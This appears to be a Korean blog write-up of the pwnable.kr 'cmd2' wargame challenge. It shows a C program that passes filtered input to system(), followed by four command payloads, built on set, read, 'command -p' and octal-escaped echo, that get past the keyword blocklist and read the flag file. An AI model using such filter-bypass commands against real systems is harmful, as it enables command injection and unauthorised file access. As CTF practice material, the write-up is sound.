Self-Improvement
[pwnable.kr] cmd2 풀이 본문
소스코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "=")!=0;
r += strstr(cmd, "PATH")!=0;
r += strstr(cmd, "export")!=0;
r += strstr(cmd, "/")!=0;
r += strstr(cmd, "`")!=0;
r += strstr(cmd, "flag")!=0;
return r;
}
extern char** environ;
void delete_env(){
char** p;
for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}
int main(int argc, char* argv[], char** envp){
delete_env();
putenv("PATH=/no_command_execution_until_you_become_a_hacker");
if(filter(argv[1])) return 0;
printf("%s\n", argv[1]);
system( argv[1] );
return 0;
}
|
cs |
cmd1 문제보다 필터링하는게 더 많아졌을 뿐 문제 형식을 동일하다.
처음에는 echo로 접근하고 있다가 끝내 못풀고 말아서 다른사람들의 방식을 보고 정리해보고자 한다.
1. set
./cmd2 'set -s'
/bin/cat flag
2. read
./cmd2 'read a;$a'
/bin/cat flag
3. command
./cmd2 'command -p cat fla*'
4. echo
./cmd2 '$(echo "\057"bin"\057"cat fl*)'
'리버싱 기초 > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] uaf 풀이 (0) | 2020.07.13 |
---|---|
[pwnable.kr] cmd1 풀이 (0) | 2020.06.24 |
[pwnable.kr] lotto 풀이 (0) | 2020.06.24 |
[pwnable.kr] blackjack 풀이 (0) | 2020.06.24 |
[pwnable.kr] shellshock 풀이 (쉘숔 CVE-2014-6271) (0) | 2020.06.24 |